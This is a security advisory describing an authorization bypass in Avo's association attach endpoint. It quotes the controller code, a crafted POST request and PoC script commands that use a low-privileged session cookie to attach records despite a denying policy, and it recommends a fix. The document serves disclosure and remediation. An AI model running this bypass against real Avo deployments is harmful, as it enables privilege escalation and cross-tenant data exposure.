Summary

A critical missing authorization flaw exists in Avo's association attach workflow. The UI and GET /resources/:resource/:id/:related/new path can check attach_<association>?, but the actual write endpoint, POST /resources/:resource/:id/:related, does not run the same authorization check before mutating the association.

As a result, an authenticated low-privileged Avo user can bypass hidden/disabled attach controls and directly attach related records to a parent record by sending a crafted POST request. In applications where associations represent teams, tenants, roles, projects, users, memberships, ownership, or other authorization-bearing relationships, this can lead to privilege escalation and cross-tenant data exposure.

Details

The association attach route writes relationships through Avo::AssociationsController#create:

# config/routes.rb
post "/:resource_name/:id/:related_name", to: "associations#create", as: "associations_create"

The controller registers an attach authorization callback only for new, not for create:

# app/controllers/avo/associations_controller.rb
before_action :set_attachment_record, only: [:create, :destroy]
before_action :authorize_index_action, only: :index
before_action :authorize_attach_action, only: :new
before_action :authorize_detach_action, only: :destroy

The new action is only the form-rendering step. The actual mutation happens in create:

def create
  if create_association
    create_success_action
  else
    create_fail_action
  end
end

create_association then attaches the attacker-supplied related record to the parent:

def create_association
  association_name = BaseResource.valid_association_name(@record, association_from_params)

  perform_action_and_record_errors do
    if through_reflection? && additional_params.present?
      new_join_record.save
    elsif has_many_reflection? || through_reflection?
      @record.send(association_name) << @attachment_record
    else
      @record.send(:"#{association_name}=", @attachment_record)
      @record.save!
    end
  end
end

The only attach-specific authorization helper is:

def authorize_attach_action
  authorize_if_defined "attach_#{@field.id}?"
end

Because this helper is bound only to new, a policy that denies attach_users?, attach_teams?, attach_roles?, or similar methods blocks the UI/form path but does not protect the write path.

This is inconsistent with the detach path, which does authorize the mutating destroy action:

before_action :authorize_detach_action, only: :destroy

The bug is especially dangerous because Avo already treats association authorization as an access-control boundary in UI components:

# lib/avo/concerns/checks_assoc_authorization.rb
method_name = :"#{policy_method}_#{association_name}?".to_sym

if service.has_method?(method_name, raise_exception: false)
  service.authorize_action(method_name, record:, raise_exception: false)
else
  !Avo.configuration.explicit_authorization
end

However, server-side enforcement is missing on the actual attach POST endpoint.

Proof of Concept

Prerequisites:

1. A Rails application mounts Avo, for example at /admin.
2. Avo authorization is enabled.
3. A low-privileged user can authenticate to Avo.
4. A parent record and a related record are both reachable by ID.
5. The relevant policy denies attaching the relationship, for example:

def attach_users?
  false
end

Example target scenario:

• Parent resource: projects
• Parent ID: 1
• Related association: users
• Related user ID to attach: 42
• Expected policy: low-privileged users must not be able to attach users to projects.

The UI/form request may be blocked:

GET /admin/resources/projects/1/users/new

But the direct write endpoint can still be invoked:

POST /admin/resources/projects/1/users
Content-Type: application/x-www-form-urlencoded

authenticity_token=<CSRF>&fields[related_id]=42

Run the attached PoC:

python poc_avo_association_attach_bypass.py \
  --base-url http://localhost:3000 \
  --avo-root /admin \
  --cookie "_app_session=<LOW_PRIVILEGED_SESSION_COOKIE>" \
  --parent-resource projects \
  --parent-id 1 \
  --related-name users \
  --related-id 42 \
  --check-new

If GET /new is forbidden or redirected but the direct POST succeeds, the authorization bypass is confirmed.

To perform the actual attach:

python poc_avo_association_attach_bypass.py \
  --base-url http://localhost:3000 \
  --avo-root /admin \
  --cookie "_app_session=<LOW_PRIVILEGED_SESSION_COOKIE>" \
  --parent-resource projects \
  --parent-id 1 \
  --related-name users \
  --related-id 42 \
  --confirm-attach

Expected vulnerable result:

• The low-privileged user can attach the related record despite attach_<association>? being denied.
• The parent record now includes the related record.

Impact

This vulnerability allows unauthorized relationship manipulation through Avo.

Depending on the affected association, the impact can include:

• Privilege escalation by attaching a user to an admin group, privileged project, tenant, organization, role, or membership record.
• Cross-tenant data exposure when tenant/user/project membership determines record visibility.
• Integrity loss by changing ownership, assignment, access-control relationships, or business workflow state.
• Policy bypass even when Avo UI controls correctly hide the attach button or deny the attach form.

Recommended Fix

Enforce attach authorization on the mutating endpoint.

At minimum:

before_action :authorize_attach_action, only: [:new, :create]

Additionally:

1. Authorize against the parent record and the selected related record before writing the relationship.
2. Ensure create fails closed when attach_<association>? is missing and explicit_authorization is enabled.
3. Add regression tests that directly POST to /resources/:resource_name/:id/:related_name while attach_<association>? returns false.
4. Verify has_many, has_one, has_many :through, and has_and_belongs_to_many association paths all enforce the same server-side authorization.

References

• GHSA-8fq9-273g-6mrg